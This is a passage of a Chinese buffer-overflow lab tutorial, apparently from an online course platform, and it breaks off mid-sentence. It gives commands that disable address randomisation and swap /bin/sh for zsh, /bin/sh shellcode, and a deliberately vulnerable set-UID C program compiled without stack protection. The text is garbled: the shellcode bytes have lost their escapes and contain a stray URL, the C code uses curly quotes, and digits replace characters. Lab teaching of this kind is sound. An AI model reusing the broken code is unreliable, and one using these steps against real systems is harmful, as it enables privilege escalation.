本文詳細(xì)出自http://www.shiyanlou.com/courses/231,轉(zhuǎn)載請注明出處。
緩沖區(qū)溢出是指程序試圖向緩沖區(qū)寫入超越預(yù)分配固定長度數(shù)據(jù)的情況。這1漏洞可以被歹意用戶利用來改變程序的流控制,乃至履行代碼的任意片斷。這1漏洞的出現(xiàn)是由于數(shù)據(jù)緩沖器和返回地址的暫時(shí)關(guān)閉,溢出會(huì)引發(fā)返回地址被重寫。
系統(tǒng)用戶名shiyanlou,密碼shiyanlou
實(shí)驗(yàn)樓提供的是64位Ubuntu linux,而本次實(shí)驗(yàn)為了方便視察匯編語句,我們需要在32位環(huán)境下作操作,因此實(shí)驗(yàn)之前需要做1些準(zhǔn)備。
1、輸入命令安裝1些用于編譯32位C程序的東西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、輸入命令“l(fā)inux32”進(jìn)入32位linux環(huán)境。此時(shí)你會(huì)發(fā)現(xiàn),命令行用起來沒那末爽了,比如不能tab補(bǔ)全了,所以輸入“/bin/bash”使用bash:
Ubuntu和其他1些Linux系統(tǒng)中,使用地址空間隨機(jī)化來隨機(jī)堆(heap)和棧(stack)的初始地址,這使得猜想準(zhǔn)確的內(nèi)存地址變得10分困難,而猜想內(nèi)存地址是緩沖區(qū)溢出攻擊的關(guān)鍵。因此本次實(shí)驗(yàn)中,我們使用以下命令關(guān)閉這1功能:
sudo sysctl -w kernel.randomize_va_space=0
另外,為了進(jìn)1步防范緩沖區(qū)溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調(diào)用時(shí)自動(dòng)放棄它們的特權(quán)。因此,即便你能欺騙1個(gè)Set-UID程序調(diào)用1個(gè)shell,也不能在這個(gè)shell中保持root權(quán)限,這個(gè)防護(hù)措施在/bin/bash中實(shí)現(xiàn)。
linux系統(tǒng)中,/bin/sh實(shí)際是指向/bin/bash或/bin/dash的1個(gè)符號(hào)鏈接。為了重現(xiàn)這1防護(hù)措施被實(shí)現(xiàn)之前的情形,我們使用另外一個(gè)shell程序(zsh)代替/bin/bash。下面的指令描寫了如何設(shè)置zsh程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
1般情況下,緩沖區(qū)溢出會(huì)造成程序崩潰,在程序中,溢出的數(shù)據(jù)覆蓋了返回地址。而如果覆蓋返回地址的數(shù)據(jù)是另外一個(gè)地址,那末程序就會(huì)跳轉(zhuǎn)到該地址,如果該地址寄存的是1段精心設(shè)計(jì)的代碼用于實(shí)現(xiàn)其他功能,這段代碼就是shellcode。
視察以下代碼:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次實(shí)驗(yàn)的shellcode,就是剛才代碼的匯編版本:
x31xc0x50x68"http://sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
把以下代碼保存為“stack.c”文件,保存到 /tmp 目錄下。代碼以下:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
通過代碼可以知道,程序會(huì)讀取1個(gè)名為“badfile”的文件,并將文件內(nèi)容裝入“buffer”。
編譯該程序,并設(shè)置SET-UID。命令以下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有1種棧保護(hù)機(jī)制來禁止緩沖區(qū)溢出,所以我們在編譯代碼時(shí)需要用